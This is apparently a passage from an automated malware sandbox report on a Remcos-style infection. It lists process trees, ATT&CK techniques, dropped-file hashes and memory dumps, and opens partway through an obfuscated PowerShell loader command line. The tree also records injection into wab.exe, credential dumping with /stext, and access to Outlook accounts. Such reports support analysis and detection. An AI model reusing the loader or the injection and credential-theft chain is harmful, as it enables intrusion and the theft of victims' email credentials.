ZonelonReperf g antime]Domsafs:Immodes:PlaceriAAmbite,SRa.hideC SkulpeIFremmedIRamrodd.Publi.eGMunkekueDahoo.stZonit dSToluidstOctileursemieggiNovelisnbl ndingAtre at( Amygda$SkovlvoSLactescpServituuAnnoncemBrugereiUncalornUnplundg Predet)Ma,dsmo ');Illish (fyrstendmme 'Beatega$AffinitgUdmaalal mningsoSquirkubHypobasaSkotjsalActualn:EsserslG GnetumesolsejlnKabine.ndizorgae StandemMonobuts ildfasiSpeci.lgOmentostFetereniYngelplgFestkl.t,ugerma=Bu,ging$ RaaklaJbov.endoBrugerku.uckerirNitterenKommu,iaSeapooslMlkevejnBoligblu U.estem ensnarmRegisteekatiposr.lvsnoreTrigamitMerchan.T bulaesBitniveu Maran bCharleys,issiontLysre urAfbarkeiSchatt.n,etrolag .iquor(Gonobla$CirculiLVe blesyFadervosLucin,ci Orifacm AnaceseUndlivetGen emseTilgr nrYv,rfics Omnipr,Sh,rrie$NaologiD La,ineeU,fladnsInelastcOpsatseaForholdnProkurat RecarbirussecosUnderkat Observ1 Massep1Betterg5S ovene)e sinfe ');Illish $Gennemsigtigt;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2320
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Dobbeltrudens140.Aff && echo t"
      4⤵
      PID:2632
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: MapViewOfSection
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:208
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ttlmijitqgd"
        5⤵
        
        PID:2268
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ttlmijitqgd"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:2908
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\dorfjcbueovxgl"
        5⤵
        Accesses Microsoft Outlook accounts
        
        PID:4024
    - - C:\Program Files (x86)\windows mail\wab.exe
        
        "C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\oqepjulosxncqrasez"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1860

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4244,i,13035806169561352434,1332896185314862791,262144 --variations-seed-version --mojo-platform-channel-handle=3900 /prefetch:8
1⤵
PID:3616

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 200B
SHA256 c89f2d70086facb409ca176f5e39a6d170d592b5204fb92040576e3af82a68e0
MD5 da0c44e7268a6391e24a9ed4c8076781
SHA1 2e6a7d114b73e445f823a1982d32df09dddf4c44
SHA512 a7db9ebf47fa7d568c62f80904a77890d7bd728a53b7727ae2cb8dede9330d29b2ea613aa4e8a00156540bf64bdcad2f1210b6d476ef5edbc5ceed9b25a256c2
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_p50v3dx5.rsz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p50v3dx5.rsz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

ttlmijitqgd

Path C:\Users\Admin\AppData\Local\Temp\ttlmijitqgd
Size 4KB
SHA256 2967c8bcad47ab6cb88bf5b60a3a75b49f471a943d33c9b69aa7bfe1b763cfd2
MD5 91227a2f05c7f74f6ebd1535a3f05b7b
SHA1 1ce317a272d67e3ac284948e49e6bc0acaee2e6d
SHA512 9ff9f6d2fb2880812fce42b91388e8b825483bb2df0976b9c630c397fed68f3625f4ba32d65933de0018b6e18554315152a1df00c98313d19612403076079a40
SSDEEP 48:wvvv0IxfvvcIxfdvv0IxBvv0Ixakvv0I7:mvRxvZp1vRPvRbvR7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Dobbeltrudens140.Aff

Path C:\Users\Admin\AppData\Roaming\Dobbeltrudens140.Aff
Size 431KB
SHA256 b0558e9c1be87e061e586bc50823b2b397f7dddd5ff01faf7359ab54ed7495ae
MD5 d59e9c1008709d12b494aca6a0755bac
SHA1 b8da7441418d3fc53cac50d1959b0858e8611ea0
SHA512 8ee0cf3fb04c3dd9ba3d4415e17038194f8956f9dabc596e8915d9e11326fedf55c1b0e2a234ddfb47d4e16f602d66e877cbd9e1a5adacd15dde57cd34090338
SSDEEP 6144:mjsuifzTP4uz9yd6n02PMzn5oZ2lIxJ3OdV/ZquSJ4L18VT/3My8digGgJKc9:QwzUK7JZ2IxtO//guSyw18wgGsKg
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/208-82-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-80-0x000000001F900000-0x000000001F919000-memory.dmp

Download

memory/208-91-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-88-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-100-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-85-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-46-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-94-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-79-0x000000001F900000-0x000000001F919000-memory.dmp

Download

memory/208-76-0x000000001F900000-0x000000001F919000-memory.dmp

Download

memory/208-106-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-53-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/208-112-0x0000000000D00000-0x0000000001F54000-memory.dmp

Download

memory/1860-62-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1860-63-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/1860-59-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2320-34-0x0000000006900000-0x000000000691E000-memory.dmp

Download

memory/2320-23-0x00000000062D0000-0x0000000006336000-memory.dmp

Download

memory/2320-19-0x0000000005350000-0x0000000005386000-memory.dmp

Download

memory/2320-20-0x0000000005AC0000-0x00000000060E8000-memory.dmp

Download

memory/2320-42-0x0000000009340000-0x000000000AFFF000-memory.dmp

Download

memory/2320-21-0x0000000005A60000-0x0000000005A82000-memory.dmp

Download

memory/2320-40-0x0000000008D90000-0x0000000009334000-memory.dmp

Download

memory/2320-39-0x0000000007B60000-0x0000000007B82000-memory.dmp

Download

memory/2320-22-0x0000000006260000-0x00000000062C6000-memory.dmp

Download

memory/2320-33-0x0000000006440000-0x0000000006794000-memory.dmp

Download

memory/2320-35-0x0000000006940000-0x000000000698C000-memory.dmp

Download

memory/2320-38-0x0000000007BD0000-0x0000000007C66000-memory.dmp

Download

memory/2320-36-0x0000000008160000-0x00000000087DA000-memory.dmp

Download

memory/2320-37-0x0000000006EA0000-0x0000000006EBA000-memory.dmp

Download

memory/2704-44-0x00007FFCA8690000-0x00007FFCA9151000-memory.dmp

Download

memory/2704-4-0x00007FFCA8693000-0x00007FFCA8695000-memory.dmp

Download

memory/2704-43-0x00007FFCA8693000-0x00007FFCA8695000-memory.dmp

Download

memory/2704-52-0x00007FFCA8690000-0x00007FFCA9151000-memory.dmp

Download

memory/2704-16-0x00007FFCA8690000-0x00007FFCA9151000-memory.dmp

Download

memory/2704-15-0x00007FFCA8690000-0x00007FFCA9151000-memory.dmp

Download

memory/2704-5-0x000002227CC60000-0x000002227CC82000-memory.dmp

Download

memory/2908-60-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2908-64-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/2908-56-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/4024-57-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4024-61-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/4024-58-0x0000000000400000-0x0000000000462000-memory.dmp

Download